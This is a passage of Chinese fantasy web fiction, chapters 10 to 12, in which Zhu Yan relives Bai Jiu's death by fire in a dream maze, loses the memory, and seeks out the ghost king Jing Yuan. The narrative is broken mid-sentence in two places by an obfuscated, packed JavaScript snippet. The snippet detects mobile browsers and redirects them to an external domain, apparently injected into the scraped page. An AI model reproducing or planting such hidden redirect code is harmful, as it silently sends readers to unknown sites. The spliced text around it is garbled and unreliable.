尘梦迷阵构建出的第八层轮回记忆,这一次将朱厌送到了一个陌生的佛堂。 在第七层记忆晕厥过去的朱厌此刻早已清醒,原本伤痕累累的身体也再次回归无恙。 朱厌环顾四周,不由心生疑虑:“这是哪里?” 宽敞的地下室内,仅设有一处说简陋又非简陋的佛堂。本该庄严肃穆的佛堂,四周却透露着一股难以诉说的诡异感。 昏暗的室内,佛堂之上仅有几支正在燃烧着的黑色蜡烛,诡异又瘆人。 黑色烛泪滴落到案台上,垒起来高高的一层。寥寥无几的供品旁却摆放了一个格外精致的大香炉。而供台之上,则高挂着一副栩栩如生的火神祝融画像。 朱厌望着佛堂上几抹发出橘黄光辉的烛光,不由失神起来。 “看来,就是这里了。” 朱厌听到声音后随即望向声源处,一个熟悉的身影出现在他的视线里。 “阿玖?” 朱厌不明白,为何白玖会出现在这里。 白玖喃喃自语道:“我果然没猜错。” 朱厌走到跟前打算带走白玖,可手却在触摸到白玖身体的瞬间,便毫无预警地穿过了白玖的身子。 只见白玖缓缓走了进来,最后在距离佛堂约莫几米之外便停下了脚步。紧接着,白玖将自己的手伸到跟前。下一秒,白玖的手瞬间灼烧起来。 火焰灼烧皮肤发出了滋滋的声响,空气中顿时弥漫开一股皮肉灼烧的刺鼻味道。 “小玖!”朱厌着急出声,想把白玖拉开,手却跟之前一样,直接穿过了白玖的身子,整个人扑了个空。 白玖这一举动直接触发了隐藏在空气里的结界。 佛堂的结界开始发出刺耳的悲鸣,让朱厌跟白玖两人都双双捂住耳朵。 隐藏在供台前方一步之遥的透明结界,开始显出形态,像水流一样,缓慢流动起来,发出若隐若现的橘光。 白玖丝毫没理会结界,只是固执地朝着结界,迈出自己的步伐。 迈出的第一步,白玖身上的衣服被结界上的火焰灼烧毁裂。 迈出的第二步,白玖原本光滑的脸上开始出现一道道红色的灼伤。脸上跟朱厌如出一辙的暗红妖纹,也悉数暴露出来。 迈出的第三步,白玖露出来的皮肤都被烈火灼开,血管爆裂,鲜血从开裂的肌肤渗出,顺着臂肘滑落在地。 ... “阿玖,你这是做什么?停下来!”一旁的朱厌面露焦色,却因此刻的自己无法阻止白玖的自残行为,只能无奈地干着急着。 白玖每往前迈出一步,空气里那层隐藏的透明结界所带来的阻力就更大,也更加加剧了他此刻所承受的灼烧之苦。 身上的灼烧之痛,让白玖开始不受控地陷入幻境状态。 结界嘶鸣着发出一道金光,瞬间便迷了白玖的眼。 恍惚间,他好像看到了朱厌出现在他眼前—— “是娘...” “娘亲...” “阿玖疼...” 10. 八层记忆 等到白玖再度睁眼时,幻视之中,他好似看到朱厌站在他眼前,眉眼含笑,一如往日调侃着自己。 “我们小白兔,怎么变得如此勇敢了?” “娘亲...”白玖忍不住朝着眼前的朱厌幻影伸出手,脑海里不断回想着过去朱厌与自己的相处点滴。 “小白兔,睡得好吗?” “小白兔,不许找离仑告状!” “小白兔,不可以偷离仑送我的桃子哦~” ... 白玖眼里的朱厌,古灵精怪,平日里也总爱变换着各种奇奇怪怪的法子捉弄他。 记得有一次,朱厌不知从哪听到‘躺尸’这一词,竟然从凡间带回了一口黑色棺木。 从昆仑山刚回到槐江谷小居的白玖,还没进院,大老远就听到槐精们的哭喊声。 一进院,他就看到无数槐精们跟小木头仆从们围在院中,一个个痛哭流涕。而庭院中央摆着一口黑色棺木,顿时把小小的白玖,吓得魂不附体。 槐江谷的小木头仆从们告诉他,朱厌就躺在棺木里头。 白玖一听,小脸瞬间一白,急急忙忙跑到棺木前,用尽全身力气推开棺木盖子,大声哭闹着:“娘亲,你不要死啊...” 可是小不点白玖力气太小了,推了大半天都没把棺木盖子给推开,倒是凄惨无比的哭声把里头躺得睡了过去的朱厌活生生给吵醒了。 朱厌大手一挥,黑色棺木的盖子一下子就飞到一旁去。 白玖一看,哭得更惨了:“我的娘吖,你还死不瞑目,居然还诈尸了...” 朱厌看着愈发哭得惨烈的白玖,一脸呆懵,顿时有点无措起来,连忙出声安慰:“小白兔,我没死呢,我只是睡着了而已。你看,我这不是好好的吗?” 哭得鼻涕都成泡泡的白玖,一下子就明白了又是朱厌的恶作剧,泪眼朦胧的他,哭得更大声了:“爹爹...娘亲又欺负我...” 朱厌最怕白玖跟离仑告状了,当下便神色慌乱起来,“小白兔你...”连忙把小小的白玖拎到跟前晃了晃,伸指警告,“你不许不讲武德,偷偷找离仑告状!” 白玖一听他的威胁,哭得更厉害了。 “你别哭了...我...”白玖哭得朱厌脑瓜嗡嗡作响,言语中的威胁之意瞬间消失,小声嘟囔着,“我只是想体会下躺尸的感觉而已...你...要不要躺进来试试看?” 被朱厌恶作剧吓得恼羞成怒的白玖,伸手用衣袖把脸上眼泪抹了个干净,挣开朱厌后气嘟嘟地拒绝个彻底:“我不要!” 朱厌努了努小嘴,自我默默吐槽着:“完了,家养小白兔生气了。” 下一秒,朱厌便伸手拎过白玖的衣领,一把将他拽进棺木,在白玖还未来得及挣扎时,抬手念咒:“走!我带你去凡间玩。” ... 白玖身上被不烬木火焰灼烧的疼痛在不断加剧着,意识在变得彻底模糊之前,恍惚之间,眼前又突然出现离仑的幻影。 “爹爹,你快教我法术。”年幼的小白玖缠着离仑教他槐鬼一族的法术。 那时的离仑,听完白玖的话后,只是淡淡问了他一句:“阿厌昨天教了你什么?学会了吗?” “娘亲昨天教了我一字诀,跑。” 离仑转过身,轻声说道,“阿厌说得好像也没错,”那张一向高冷的脸上此刻却面露柔情,“我们槐木是古树,未化成人形之前,确实哪儿都去不了,”说着他还伸手摸了摸白玖的头,“跑,重要。” “可是爹爹...”伴随着佛堂结界法印愈发刺眼的光芒,白玖身上的灼烧越来越严重,“阿玖不想跑...” “阿玖也想跟你一样,保护娘亲...” 白玖原本完好无损的身上,此刻已经没有一处完好的地方,手臂上的皮肤都被灼烧裂开,露出鲜血淋漓的血肉。 “阿玖,不要这样!停下来!”站在一旁的朱厌撕心裂肺吼着,企图白玖可以听到自己的声音后停下这不要命的自残。 可是,他忘记了一件很重要的事情。 这第八层的记忆,是尘梦迷阵基于白玖记忆里的朱厌而衍生而成的幻境。这一层记忆的主控者,是白玖。 作为记忆外来者的朱厌,面对已经发生过的他人回忆,是无法做出任何能够阻止往事重现的举措。 朱厌若是强行介入,反而会触发因果惩戒。 白玖忍着钻心刺骨的疼痛,出声给自己壮胆,“娘亲,别怕,”一边说着一边坚定着步伐,朝着佛堂的供台迈进,“阿玖会跟爹爹一样,保护你的。” “阿玖,不要这样!我不用你保护!回去,离开这里好不好...”朱厌双手死死捂住自己头痛欲裂的脑袋,一脸痛苦,“到底为什么会怎样...” 在白玖抵到供台,指尖触碰上那个精致香炉的那一刻,佛堂的结界法印内,那一股股流动的不烬木火焰彻底达到巅峰,火焰将白玖整个人彻底缠绕起来... 朱厌以最快速度冲到白玖面前,伸手结印,打算燃烧自己的万年修为,强行介入回忆层来阻止他。 可是,朱厌的介入却触发迷阵内与记忆相连的法印攻击,法印发出刺眼的光芒。一瞬间,朱厌整个人便被强行带离佛堂。 朱厌难以置信,眼眶通红,不由嘶吼出声:“阿玖!” 最终,朱厌只能眼睁睁地看着隐藏在佛堂结界内的法印,释放出所有流动的不烬木火焰,最终一点点彻底缠上白玖的身体,将他的身体一寸寸吞噬殆尽,连同白玖的魂魄也烧成灰烬,彻底化作一阵红色烟雾,随风而去。 下一秒,第八层尘封记忆的轮回结束,法阵空间开始崩塌,碎裂成粉末。 困在迷阵内的朱厌,泪流满面,痛苦不堪,情绪彻底崩溃。 与此同时,朱厌体内的戾气封印开始松动,戾气化出心魔,不断滋生,意图引诱朱厌解开封印,抢夺朱厌的身体:“朱厌...拥抱我...我可以帮你,为何要一而再地拒绝我?” 朱厌怒意冲天,嘶声狂吼:“闭嘴!” 在尘梦迷阵内,刚刚经历过的八层记忆重铸,亲眼目睹了离仑与白玖相继死去的朱厌,此刻的情绪正游走在彻底崩溃与暴走的边缘。 体内暴走的戾气开始化出形态,红色戾气从朱厌身上汹涌而出,将他彻底包裹在内。 戾气,是世间至邪至凶的东西,汇集了四海八荒,天地万物的恨嗔痴怨,而不死不灭的朱厌,恰好就是承载戾气的最佳容器。 此刻体内戾气处于暴走状态,可朱厌却强行镇压,自然折损修为。 不敌戾气凶狠的朱厌,最终被戾气反噬,整个人跪倒在地,口中更是不要命似地吐出一口又一口鲜血。 “你用朱厌这个名字,经历了一番凡人的爱恨。”又是那道此前他游荡在轮回桥时听到的陌生声音。 更加诡异地是,这一次当这道声音落下之时,一大波奇怪又断续的画面疯狂地涌入朱厌的脑海里。 是记忆。是那些一度他以为不该属于他的破碎记忆。 朱厌只觉得,自己的头就像被千万利刃不断凌迟着,耳鸣贯穿四肢百骸。一小部分曾经被尘封忘却的记忆,开始陆续恢复。 尘梦迷阵在最后一刻,又把朱厌强行送回了昆仑雪山。 朱厌失神地望着眼前残破的昆仑雪山,落寞的眼里没有一丝生机。 这一次的昆仑雪山,没有卓翼宸,没有温宗瑜,更没有离仑。 原本圣洁的昆仑雪山,四周也早已成为一片废墟,断壁残垣,火光四起。 “你与那大荒妖王之间的爱恨纠缠,这须臾万年的恩怨,不过是一世情劫” “天亮梦醒,一念般若,万事皆空,何必挂念呢...” 朱厌听完这番话后,心里五味杂陈。 身为承载天地戾气的容器,他原本以为,独行孤寂的自己宛若汪洋浮木,无光的世界里早被暗夜与苦难的潮水填满。 可是,如今在冉遗的这个尘梦迷阵内里,他有过往,有爱恨。 如若这里所发生过的一切,都是他真实存在的记忆,这里的一切过往,有小家,有爱侣,有亲人,让一向踽踽独行的他,难以自制地心生痴念,忍不住妄想期待,贪心地想去多看看自己的过去。 可是,镜花水月,亦真亦假。如今的他,是局中人,还是观棋者,恐怕也难以辨清了。 若是真,为何他的记忆里一片空白? 若为假,那又何来尘梦迷阵内的一切? 这些被朱厌遗忘的过往,就像早已深埋进他血肉土壤里的种子。 经过冉遗控梦术这么不经意的拨弄之下,在他心脏深处骤然发芽,扎地抽根,逐渐长成参天大树。而这些由过往滋养而出的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340702|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根系,便这么无情地扎进他痛苦的灵魂里,无时无刻折磨着他。 痛苦将他吞没在无尽黑暗之中,疼痛将他凌迟在悔恨之中。 无法抑制的痛,埋进朱厌的心脏,化作一座座活跃的火山,终于在尘梦迷阵的撩拨下,彻底爆发出来,借由全身流动着的血液,沸腾着冲向朱厌。 无法言喻的疼,从他心脏深处,开始蔓延到他的四肢百体。 明明全身上下疼得要命,疼得他半死不活。 明明哪儿都疼,却还是不及心脏里头传来万分之一的疼痛。 朱厌颤抖着抬起手,伸指抵唇,哑着嗓子,低声念咒:“破...” 冉遗的尘梦迷阵,彻底被朱厌用一字诀,破开了。 朱厌只觉脑袋一阵昏沉,眼前闪过一丝刺眼的白光后,等到他再度睁眼之时,原本躺在床上的自己,此刻却靠在冉遗的怀里。 见到朱厌彻底醒过来的冉遗,顿时面露喜色:“你终于醒了。” 朱厌下一秒便推开冉遗,直接开门见山质问他:“离仑,到底是谁?” 冉遗在听到这个名字的瞬间,脸色一白,不由失神了几秒。 察觉到自己失态的冉遗,赶紧敛起外露的情绪:“不知道。” “你撒谎。你也是妖,怎么可能会不知道他!”朱厌生气地推开冉遗,打算离开湖心岛小屋。 冉遗一把抱住朱厌差点摔倒的身子:“朱厌!” 在尘梦迷阵内所受的伤,最终都会双倍的反噬到入阵者的现实身体上,这就是入阵的代价。 “别碰我。”与冉遗之间的一番剧烈挣扎,无意之中加重了身上的伤,喉间不由涌上一股血腥之气,却被朱厌活生生压下。 看着这副模样的朱厌,身后的冉遗欲言又止:“朱厌...” 朱厌没有回头,直接离开了湖心岛小屋,回到大荒,回到槐江谷。 刚踏上大荒外界与槐江谷小居相接壤的结界边缘,朱厌就再也压制不住体内翻涌而上的血气。整个人当下摔倒在木桥上,嘴里再次吐出一大口鲜血。 结界前的站着一道婀娜身影,月光打落在她姣好的容貌上,五官精致,眉眼妖艳,唇缀血珠,肤似白瓷。 茯苓妖君,乃是朱厌手下的第一大将。 站在结界前的茯苓,手捧着一件狐裘大氅,在看到重伤而归的朱厌时,惊呼出声:“朱厌大人!” “大人!你为何重伤如此?” “茯苓...离仑是谁?你告诉我...他到底是谁?” 朱厌没有理会茯苓的关心,只是一味想要解开心中疑问。现在的他,更需要的是从旁人口中得到一个明确的答案。 朱厌脸上满是痛苦之色,那双望着茯苓的红瞳,不由再度滑落一行眼泪。 茯苓从朱厌口中听到离仑这个名字后,整个人不由愣怔在原地。 跟随与侍奉了朱厌的上万年里,茯苓都不曾见过朱厌失态过半分,记忆中的朱厌,总是一副温润如玉,翩翩公子的模样。 今日在看到朱厌失态的瞬间就已经觉得很不可思议,当她在听到离仑这个名字后,彻底失言起来。 那道封印的禁锢,开始失效了吗... 茯苓眸色慌张,意图躲避开朱厌直勾勾的眼神质问:“大人,先回小居,把伤口处理了再说其他的吧。” 茯苓伸手,准备将朱厌搀扶起来,可下一秒,朱厌整个人就不省人事,晕倒在她怀里。 “大人!”茯苓眼疾手快地赶紧把朱厌搀扶进槐江谷小居。 冉遗尘梦迷阵的反噬所带来的重伤,致使朱厌足足昏迷了一天一夜,甚至发起了温病。 陷入温病之热的朱厌,整个人意识陷入模糊。迷糊之中,嘴里念叨着的也是离仑的名字。 茯苓将拧干的布帛,轻轻放到朱厌额上,脸色格外沉重。 “大人,王说过,有些事,记得却不如忘了,”盯着不省人事的朱厌,茯苓心事重重道,“大人,你就把所有的一切,都当作是大梦一场,梦醒时分,全都忘了,这样,不好吗?” 帮朱厌掖了掖被子后,茯苓便离开了房间。 在茯苓关门的那一瞬间,昏睡中的朱厌,眉心中间缓缓显现出一个暗蓝妖印。 只见朱厌眉心间的那抹诡异的妖印,一闪而过,发出了抢眼的光辉后便又再次消失不见了。 11. 忆了再忘 天边亮起的晨光,透过槐江谷小居庭院内层层叠叠的树叶,折入进被茯苓打开的主卧纸窗,给原本黯淡的屋内添多了一抹生机。 床上的朱厌,眼睑微动,过了一会便彻底醒了过来。 门被人敲响,下一秒,一道柔和嗓音缓缓传入朱厌耳内:“朱厌大人。” “进来。” 房门被人从外推开,茯苓端着热粥走了进来。 将粥放到桌上后,茯苓才开口:“大人,可有感到身子哪里不适?” 醒来后的朱厌,一脸失神地呆坐在床榻边上,像一个没有生机的精致木偶。 “大人,大人...”茯苓唤了朱厌足足好一会,朱厌才缓过神来。 “嗯...” 突然,一股难以言喻的疼痛,在朱厌的脑海里,宛若烟花骤然炸开。 茯苓神色紧张:“大人,你可还好?” 朱厌下意识摇了摇头,伸手揉了揉自己酸胀发疼的太阳穴:“茯苓,我记得我好像去了一个地方,但想不起来了。我这是怎么了?” 一瞬间的头疼欲裂,片刻之间,朱厌便满额直冒冷汗。 朱厌在与茯苓说话的时候,额间又再次一闪而过昨夜显现而出的那枚妖印。 一旁的茯苓看到后,眼里闪现过一抹诧异与慌乱,随即收敛起显露而出的失态,面不改色说着,“大人,许是过于劳累,你犯了温病之热,昏迷了一天一夜。”说完,茯苓便起身端过热粥,走向朱厌的塌前。 “温病之热?为何我会如此?” 自己是大荒罕见的上古大妖,小伤小痛都会自行疗愈。温病之热这种凡人病症,自己怎会患上且还如此严重? 朱厌感觉就像有一层浓郁的厚雾,挥之不去地遮挡在自己的心头和脑海里,压抑,难受,粘腻,潮湿,令他窒息。 那些剪不断的思绪,化作波涛汹涌的潮水,将朱厌逐渐淹没。 好不容易才平歇下来的脑海里,又再次传来一阵隐隐约约的刺痛,让朱厌控制不住心生烦躁。 杂乱的脑海里,突然浮现出一个名字。 等到脑海里的刺痛缓过后,朱厌原本平和的神情,急剧转变得格外严肃,眉间甚至涌起肃杀之气:“离仑,是谁?” 那双妖化后的红瞳,突然划过一抹丹雘鎏光,眼眸之中更是泛起一股难以言喻的冷意,周身散发出上古大妖的压迫感与浓郁的杀气。 此刻的朱厌与刚刚的朱厌,简直判若两人。 若说上一秒的朱厌是温煦得宛如初春暖阳,此刻的朱厌那便是那深不见底的寒冷深渊。 朱厌眼中骤然泛起的冷意与杀气,看得茯苓头皮发麻。而他此刻身上的气息,更是让茯苓忍不住心生想要下跪朝拜的欲念。 这,便是大荒上古大妖的压迫感吗? 茯苓想要开口回答朱厌的问题,可是张开的嘴里却是一个字也发声不出。 朱厌一看,脸色瞬间阴暗起来,不由眉头一蹙,满眼不解:“言术?” 言术,是大荒的一种禁秘法术。施咒者以自身一抹精血为引,封禁承咒者的一术言语,锁住生人秘密,强行破禁者,神魂俱灭。 “茯苓,你为何会被人下了这种禁秘法术?” 茯苓望着朱厌,张了又张的嘴,最后又合上了。 朱厌没有说话,眼中冷意丝毫未退,只是神色复杂地望着茯苓。他知道,他已经无法再从茯苓嘴中问出相关信息。 “下去吧。”遣走茯苓后,朱厌离开了槐江谷小居,只身跑到大荒的禁地。 大荒禁地内,万物枯荣,一片断壁残垣。 曾经新生的建木神树,再次恢复回枯萎状态,一眼望去,目光所及之处,只剩荒芜与孤凉。 朱厌抬头望着眼前那棵枯萎的参天神树,一脸失魂落魄。 不对劲。 可到底是哪里不对劲呢?朱厌自己也说不上来。 镜湖回来后,重伤引起温病,昏迷了一天一夜的朱厌,再次醒过来后,完全不记得自己去过镜湖找过冉遗,不记得自己进入尘梦迷阵,更是不记得自己在迷阵中所经历的八层记忆。 那些在冉遗的尘梦迷阵内所经历的一切,好似镜花水月般,再次断断续续在他脑海里碎裂不见。 朱厌的脑海里,只隐约记得有一个对他很重要的人。是那个名为离仑的人吗? 可是,离仑是谁?谁是离仑? 不对劲!太不对劲了!他到底是怎么了? 朱厌当下起身,离开了大荒禁地。他没有回槐江谷小居,而是跑遍了四海八荒,找遍了所有山精野怪,不断打探着那个名为离仑男人的消息。 朱厌只隐约记得,好像有人跟他说过,离仑是大荒的妖王。 他忘了,是在冉遗的尘梦迷阵内,卓翼宸告诉他离仑的身份。 朱厌觉得,若是这个名为离仑的男人是大荒的妖王,那所有大荒之内的妖兽,自然尽人皆知。可事实却是,他问遍了大荒内所有大妖兽小精怪,都没人知道离仑,就像这个人从未在大荒存在过。 奔波劳碌了好几日的朱厌,最终还是一无所获,一脸失魂地回到槐江谷。 一个月后,槐江谷小居。 坐在小居庭院中央槐树上晒着太阳的朱厌,指尖一化,掌心之上漂浮出一枚槐叶,槐叶随即便朝着昆山雪山山脚下的神庙方向飞去。 “大人,英磊大人在神庙。大人!” 站在树下的茯苓,朝着坐在树上的朱厌,不停唤了他好几声,朱厌都还是没有反应。 “大人!大人!”茯苓不由提高了音量才把神游中的朱厌唤过神来。 “嗯,”朱厌翻身一跃,动作一气呵成,利落下树,稳妥落地,“走吧。” 距离朱厌从冉遗那里回到槐江谷,已经过去一个月了。 茯苓并不知道朱厌在镜湖发生了什么事情,但是回来后的朱厌,总是坐在庭院的那棵槐树上,望着大荒禁地的方向,一个人发呆,一个人出神,一个人往那树上一坐就是一整天。 这段时间的朱厌,灵魂如同出窍般,行动看似如常,实则时常失神。眼神空洞得就像一个半死不活的人,更像一个没有生气却精雕细琢的娃娃。 望着朱厌离去的身影,茯苓眼中除了忧色之外,折射出一抹反常的坚毅。 昆仑雪山山脚下,连接昆仑神境与凡间的边界处,一道结界把荒芜的大荒与繁华的人间划分开。错别有着的树林深处里,坐落着一座庄严的山神庙。 茯苓随朱厌一同来到了这座山神庙前。 朱厌微微抬眸,望了一眼眼前这座被一层淡金结界笼罩着的山神庙,不由轻笑出声。 英磊这脆皮的结界,防一防那些误闯神庙的凡人倒是没问题,要防他躲他,可就难了。 “破——”只见朱厌原本负在手后的手,指尖微动,山神庙的这层结界就被他轻易地破开了。 山神庙内正盘坐着修炼的人,在感应到有人偷偷闯入自己的山神庙地盘,急忙拎起自己身边的大菜刀,咋咋呼呼地就从庙宇里头冲了出来。 来人头发蓬乱,一头黄毛之下,眉目英气,清朗恣意,是一个如玉少年。 只不过这如玉少年郎的脸上,却蓄了一脸突兀的黄色大胡子,显得格外抢眼。身上的穿着,更是别满了各种皮毛兽尾的装饰。瞧着像是斯文书生,但手中却挥着一把锋利的大菜刀,行为举止更像个毫无教化的野人了。 此人,正是守护与庇佑昆仑山一脉的山神。 英磊口气格外狂妄地叫呼着:“是谁胆子这么肥?竟敢在我小山神的地盘上撒野?看我不把你做成煎饼摊子!报上名来,本山神可以考虑饶你不死!” “英磊,万年不见,别来无恙啊!” 朱厌一听,忍不住一笑,眉眼含笑地跟气得呼呼的英磊打着招呼。 英磊一看,顿时警惕起来。当下便跟朱厌两个人,隔着一小段距离,大眼瞪小眼,四目对望起来。 不好!这只臭美的猴子就是凡人口中说的那什么,无事不登他的山神庙,一登肯定就是带事来的。 英磊忍不住摸了摸发痒的鼻子,讪讪开口:“朱厌,你终于醒了。” 终于? 此话一出,捕捉到关键字眼的朱厌不由虚起眼,看似不经意地多瞄了他一眼。 朱厌这来势汹汹的架势,一看就有鬼,不知为何,英磊一对上他那双漂亮的眼睛总觉得格外心虚,当下微微别开眼神。 英磊一边挥着大菜刀,一边伸手挠了挠自己坐麻了的屁.股,咋呼着问着朱厌:“朱厌大妖,你无事不登我的山神庙。说吧,找我什么事?” 朱厌没有出声,望着英磊,只是弯唇一笑。 朱厌本身就长得妖艳,那张雌雄难辨的脸极具迷惑性。 暖阳的光芒照映在整座山神庙,橘白晨光打落在朱厌身上。眼下他如此一笑,连同眼底,都荡漾开星星点点的光芒,美得像是跌入凡尘的仙子。 朱厌这一笑,让英磊更加警惕起来了,手中的菜刀握得更紧了。 为什么这笑,让他觉得,他的后背有一种凉飕飕,冷呼呼的感觉?! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340703|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >山神庙外等待着的茯苓,正翘首盼望着朱厌归来,一道可爱的小孩声音由远及近传了过来。 茯苓循声望去,只见原本空无一物的地上,跳出一朵灿烂漂亮的粉白桃花,接着那朵桃花缓缓现身,变成一个头顶大花瓣,身形圆滚滚,看起来似有三四岁的小孩模样。 “妖...妖君...你...你...让我...打探的...打探的消息...我...打听到了...我去...去问了...芳芳...芬芬...还有...” 小桃花妖刚化形没多久,连话都说不清楚,支支吾吾了大半天还没把话说完。 茯苓蹲下身子,伸手摸了小桃花妖的脑袋,耐心引导着:“嗯。我知道了,你很厉害。消息打听得如何?” 小桃花妖被摸得舒服极了,忍不住眯起眼睛:“妖君...那个人类...没死呢...” 摸着小桃花妖的手一顿,茯苓脸色变得格外难看,不由转头望向了山神庙庙内。 在山神庙外等了朱厌足足一天却还丝毫不见他身影的茯苓,此刻正探头探脑站在庙外,一脸着急,最后还是推门而出,闯了进去。 在看到眼前场景时,她直接整个人呆愣在原地,山神庙内,竟然空无一人。 “大...大人...朱厌大人...” 茯苓朝着四周唤了好几声,还是一片寂静,只有枯叶纷飞落地的细碎声。 一个月后。 奈落川崖边,凛冽的风呼呼作响,刮得人生疼得很。站在崖边的身影格外瘦削,一身灰白相间的华服,衣袂飘飘。 一个月前,从英磊的山神庙回来后的朱厌,没有第一时间赶回槐江谷,而是一个人不知去处消失了好几天后才回来。 站在大荒奈落川边的朱厌,失神地望着远方,目光之中更是罕见的迷茫。 一行温热的眼泪,从朱厌的脸上淌下。 一枚闪着金光的槐木叶子缓缓飞到朱厌身边,唤回了朱厌的思绪。 槐叶落到朱厌掌心,化作一道声音,传入朱厌的耳中:“大人,温宗瑜没有死。” 一听到温宗瑜这个名字,朱厌那张柔和的面容顿时变得阴沉如水。心里头莫名涌现出阵阵怒意,连同眼角都不由冒出泪花。 那只负在身后的手,气愤得紧握成拳。细看之下,朱厌的身子竟气得微微发抖。 朱厌听到自己牙齿厮咬的声音,一股铁锈味在鼻腔内蔓延而开,滚了又滚的喉间咽下了一抹血腥。 内心深处传来一阵压抑的怒音:“朱厌,杀了他...” 是被封印在朱厌体内的戾气在嘶吼着,不断扰乱他的心绪:“朱厌,杀了他!杀了温宗瑜!杀了他!” 朱厌强压下心中的愤怒,伸手擦拭掉眼尾欲落未落的泪珠,收敛神色,脑子却不由回想起几天前茯苓跟他说的话。 “大人,也许,鬼王可以帮你。” 那时听完茯苓话的朱厌,眼中疑惑再次加重了:“鬼王净渊?这与他又有何干系?” 可是面对朱厌的反问,茯苓也只是安静地站在原地,一句话都不说。 槐江谷小聚居的前院中央,坐落着一棵郁郁苍苍的参天槐树。 大荒的风拂过槐江谷院落中央的槐树,让人不由心生错觉,这股自由的清风里也好似夹杂了一丝槐花的甜味。 朱厌正躺在槐树粗大的旁枝之上小憩着,懒洋洋晒着阳光。 此刻的午后,煦阳折透过硕大的槐叶,稀稀疏疏打落在朱厌那张精致的脸上。四周原本温煦的微风,突然顿时变得又急又猛。 耳边传来一阵急啸声,而躺在树上小憩着的朱厌突然伸出双指,朝半空一挥,紧接着传来一阵微弱的声响。 那双原本紧闭的眼睛骤然睁开,朱厌翻身一跃,稳妥落地。循着刚刚那道微弱的声响,他缓缓走去,蹲身细看,竟然是一只小妖兽。 小妖兽被浑身黑气包裹的身体之上,什么都看不到,只露出尖牙利齿,眼冒红光的面部。 朱厌看着萦绕在指尖上的黑气,眉心一紧,若有所思:“这是...鬼气...” 在得知茯苓被人下了言术,无法再从她口中获得一丝离仑信息的朱厌,纵使得知可从净渊那里得知离仑的事,但他还是不想踏入鬼域一步。 记忆里,他好似有跟净渊接触过,他总觉得净渊这人很危险。 可是现在,大荒无故出现本该只在鬼域才有的鬼气,那他就不得不去一趟了。 看着手中被鬼气包裹住的小妖兽,朱厌喃喃自语着:“鬼王净渊吗...” 12. 血月屠戮 暗无天日的九幽鬼域,鬼魂吟哮,亡灵高歌,寒风刺骨,幽鸣刮魂,鬼气森森得让人不寒而栗。 鬼域大殿,无殇楼。 “奇怪。我这无殇楼,今日倒是来贵客了。” 坐在鬼域大殿内,撑手正在殿内假寐休憩中的净渊,在感应到有人闯入鬼域后,嘴角忍不住上扬了几分,忍不住轻笑出声,爽朗笑声充斥在殿内。 下一秒,净渊紧闭的眼突然睁开,一双独有的紫眸里头流转着一股邪魅狂狷。 早在朱厌踏入鬼域之时,净渊便感应到了。 毕竟,朱厌不止是大荒内极为罕见的上古大妖,还是大荒的妖后,那气息绝非平凡小妖小怪。鬼域入口的小鬼们等级低下,自是认不得总是深藏不露的大荒妖后。 纵使今日的朱厌戴了一张遮挡了真实容貌的哭笑脸面具,依旧掩藏不住他周身强大的气场。小鬼们在看到朱厌时,以为强敌来袭,顿时被吓得屁滚尿流,一个劲跑到前殿汇报。 朱厌罔顾跟前一个个警惕着,对他亮刀舞剑的小鬼们,径直朝着无殇楼方向走去。 刚踏入无殇大殿,朱厌便一眼看到在大殿座前,站立着一个身形高大的男人。 一袭绛紫华袍的男人,身形威武高大,站姿如松,身高腿长。一头及腰长发,墨黑之中泛着暗紫光辉,随意半挽垂至身后。殿内寒风一吹,这人身后的发丝轻轻飘动着,徒添了几分诡异的邪魅。 负身而立的朱厌,藏在身后的手指尖轻微一动,脸上佩戴着的那张哭笑脸面具,顿时消失不见。下一秒,隐藏在面具下的真容便彻底露了出来。 朱厌眉眼微抬,那双红眸带着一抹警惕,静静盯着站在大殿殿座前一动不动的高大紫影。 背着他的净渊,紫眸微抬,漫不经心说着:“我这无殇楼,数万年来,阴冷幽暗。” 说完,只见他缓缓转过身,眉眼含笑,若有所思地望着底下的朱厌:“今日,第一次迎来了六界大荒妖后,竟顿感鬼域蓬荜生辉了不少。” 是一张好看且极具攻击性的脸,眉眼锋利,面容冷峻。 净渊眉下一抹白的鬼纹,更衬得他的脸邪魅狂狷,那双抢眼的紫眸深邃似海,流转着让人看不明白的情绪。 朱厌对视上净渊的眼睛,眸色不由暗沉了几分,连同舒缓的眉头也微皱起来。 这人,很危险。 在看到朱厌真实容貌后,净渊那双邪魅的紫眸里流转着意味不明的情绪:“我就说,那小子为何将你藏得如此严实。妖后这张脸,着实惊为天人。” 还未等到朱厌开口,净渊先行开口,直接开门见山:“妖后今日来这无殇楼,我知道你想要什么?我可以帮你。” 净渊大手随意一挥,半空之中突现出一个白玉瓶子。紧接着,小玉瓶便自发飞到朱厌摊开的掌心之上。 望着手中的白玉瓶子,朱厌微微失神的眼里,闪过一抹犹豫不决。 净渊轻笑出声,忍不住调侃,“朱厌,离仑他虽已死了万年,可那小子满脑子都是你,”接着又叹气一声,再度开口,“若知是我帮你,定要好生教训我一顿不可。” 面对净渊的调侃,朱厌依旧一脸冷漠,眸中更是寒意阵阵,开口索问净渊:“你与离仑,是何关系?” “我跟那木头啊,说来话长,那就长话短说吧——”净渊转身坐到殿座上,单手撑颌,眼中带着玩味,嘴角露出一个痞笑,不紧不慢回着朱厌的问题,“我跟他,是万年挚友,还是有过生死之交的万年挚友。” 